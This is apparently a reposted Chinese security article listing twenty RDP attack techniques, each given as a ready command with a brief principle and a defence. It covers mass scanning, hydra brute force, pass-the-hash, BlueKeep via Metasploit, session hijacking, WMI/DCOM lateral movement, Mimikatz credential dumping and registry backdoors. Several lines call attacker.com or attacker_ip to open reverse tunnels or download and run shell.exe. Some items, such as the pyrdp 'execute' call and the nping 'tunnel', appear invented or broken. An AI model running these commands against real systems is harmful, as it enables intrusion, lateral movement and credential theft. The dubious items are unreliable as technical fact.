1、全网段RDP端口扫描
masscan -p3389 10.0.0.0/8 --rate 100000 -oG rdp_scan.gnmap
原理:利用高速扫描定位全网开放3389端口的主机,结合Nmap脚本识别Windows版本。
防御:修改默认RDP端口,防火墙过滤非可信IP访问。
2、历史证书关联资产挖掘
curl "https://crt.sh/?q=%.target.com&output=json" | jq '.[].name_value' | grep "rdp"
原理:通过SSL证书透明度日志发现隐藏的RDP子域。
防御:定期清理过期证书,禁用无关子域解析。
3、多线程RDP暴力破解
hydra -V -f -L users.txt -P passwords.txt rdp://192.168.1.100 -t 64
原理:利用弱口令或默认凭证(如Admin/123456)突破认证。
防御:启用账户锁定策略(3次失败锁定30分钟),强制复杂密码。
4、Pass-the-Hash攻击
xfreerdp /v:target_ip /u:Administrator /pth:NTLM_HASH +sec-nla
原理:通过NTLM哈希绕过密码验证,需NLA未强制启用。
防御:启用CredSSP或限制本地管理员账户远程登录。
5、 BlueKeep漏洞自动化利用
msf> use exploit/windows/rdp/cve_2019_0708_bluekeep
原理:CVE-2019-0708漏洞无需凭证实现远程代码执行,影响Windows 7/2008。
防御:及时安装KB4499175补丁,禁用老旧系统RDP服务。
6、 RDP会话劫持(Session Hijacking)
tscon %SESSION_ID% /dest:rdp-tcp#0
原理:在已授权会话中注入新进程,接管活跃RDP连接。
防御:启用受限管理员模式,监控异常会话ID变更。
7、 WMI远程命令执行
wmic /node:192.168.1.101 /user:DOMAIN\Admin process call create "cmd.exe /c reg add HKLM\..."
原理:通过WMI接口在远程主机执行命令,需管理员权限。
防御:限制WMI远程访问,启用Windows Defender ATP行为监控。
8、DCOM横向移动
$com = [Activator]::CreateInstance([Type]::GetTypeFromProgID("MMC20.Application","192.168.1.102"))
$com.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c whoami","Minimized")
原理:利用DCOM组件绕过防火墙限制执行命令。
防御:禁用非必要DCOM组件,配置DCOM ACL权限。
9、 Plink建立SSH隧道
plink -ssh -P 2222 -R 3389:localhost:3389 attacker.com -l user -i key.ppk
原理:通过SSH反向隧道暴露内网RDP端口至公网。
防御:监控异常SSH外联,限制出站SSH流量。
10、 Cloudflare Tunnel内网穿透
cloudflared tunnel --url rdp://localhost:3389 --hostname rdp.attacker.com
原理:利用Cloudflare Zero Trust隐藏真实IP,绕过防火墙策略。
防御:审查合法SaaS服务使用情况,阻断未授权Tunnel进程。
11、 RDP影子会话劫持
mstsc /shadow:%SESSION_ID% /noConsentPrompt /control
原理:利用Windows影子会话功能接管活跃用户桌面(需SYSTEM权限)。
防御:组策略禁用影子会话(计算机配置→管理模板→Windows组件→远程桌面服务→不允许远程控制
)。
12、 RDP自启动后门植入
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Load /t REG_SZ /d "C:\backdoor.dll" /f
原理:通过注册表劫持RDP客户端加载恶意DLL。
防御:启用Windows LSA保护,监控敏感注册表项变更。
13、绕过受限管理模式
$cred = New-Object System.Management.Automation.PSCredential("user", (ConvertTo-SecureString "Passw0rd!" -AsPlainText -Force))
Enter-PSSession -ComputerName target-pc -Credential $cred -Authentication Negotiate
原理:通过PowerShell Remoting绕过RDP登录限制。
防御:禁用WinRM服务,限制PowerShell远程执行权限。
14、NLA协议降级攻击
xfreerdp /v:target_ip /u:user /p:password -sec-rdp
原理:强制使用弱加密的RDP协议(禁用NLA)。
防御:组策略强制启用仅允许使用网络级别身份验证的远程连接
。
15、内存提取RDP凭据
privilege::debug
sekurlsa::logonpasswords
原理:利用Mimikatz提取lsass进程中缓存的RDP登录凭据。
防御:启用Credential Guard,限制本地管理员权限。
16、 RDP代理劫持攻击
python3 rdpy-rdpclient.py target_ip -p 3389 -g attacker_ip:8888
原理:搭建中间人代理记录键盘操作和屏幕截图。
防御:启用RDP SSL加密(.rdp文件中enablecredsspsupport:i:1
)。
17、动态端口RDP服务
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 54321 /f
netsh advfirewall firewall add rule name="CustomRDP" dir=in protocol=TCP localport=54321 action=allow
原理:修改注册表动态变更RDP端口躲避扫描。
防御:监控注册表敏感项修改,限制端口变更权限。
18、ICMP隐蔽隧道
sudo nping --icmp -c 0 --data-string "RDP_SESSION" target_ip
原理:通过ICMP协议封装RDP流量绕过流量审计。
防御:部署IDS规则检测异常ICMP载荷长度(alert icmp any any -> any any (dsize:>100; msg:"ICMP Tunnel";)
)。
19、RDP蜜罐识别绕过
Test-NetConnection -ComputerName target_ip -Port 3389 | Where-Object { $_.TcpTestSucceeded -eq $true -and $_.RemoteAddress -notmatch "192.168" }
原理:通过IP反查与响应特征识别云蜜罐系统。
防御:部署高交互蜜罐(如Honeydrive),模拟真实业务流量。
20、全自动化RDP武器化
from pyrdp import RDPClient
client = RDPClient("target_ip", "user", "P@ssw0rd")
client.login()
client.execute("cmd.exe /c certutil -urlcache -split -f http://attacker.com/shell.exe C:\\Temp\\s.exe")
原理:利用Python库实现RDP协议级自动化攻击。
防御:启用Windows Attack Surface Reduction规则,限制未知进程执行。
RDP作为企业核心入口,攻防对抗已进入深水区。防御建议:
- 1. 网络层:启用RDP Gateway,限制源IP白名单
- 3. 监控层:部署UEBA分析异常登录时间/地理位置
阅读原文:原文链接
该文章在 2025/5/26 12:29:28 编辑过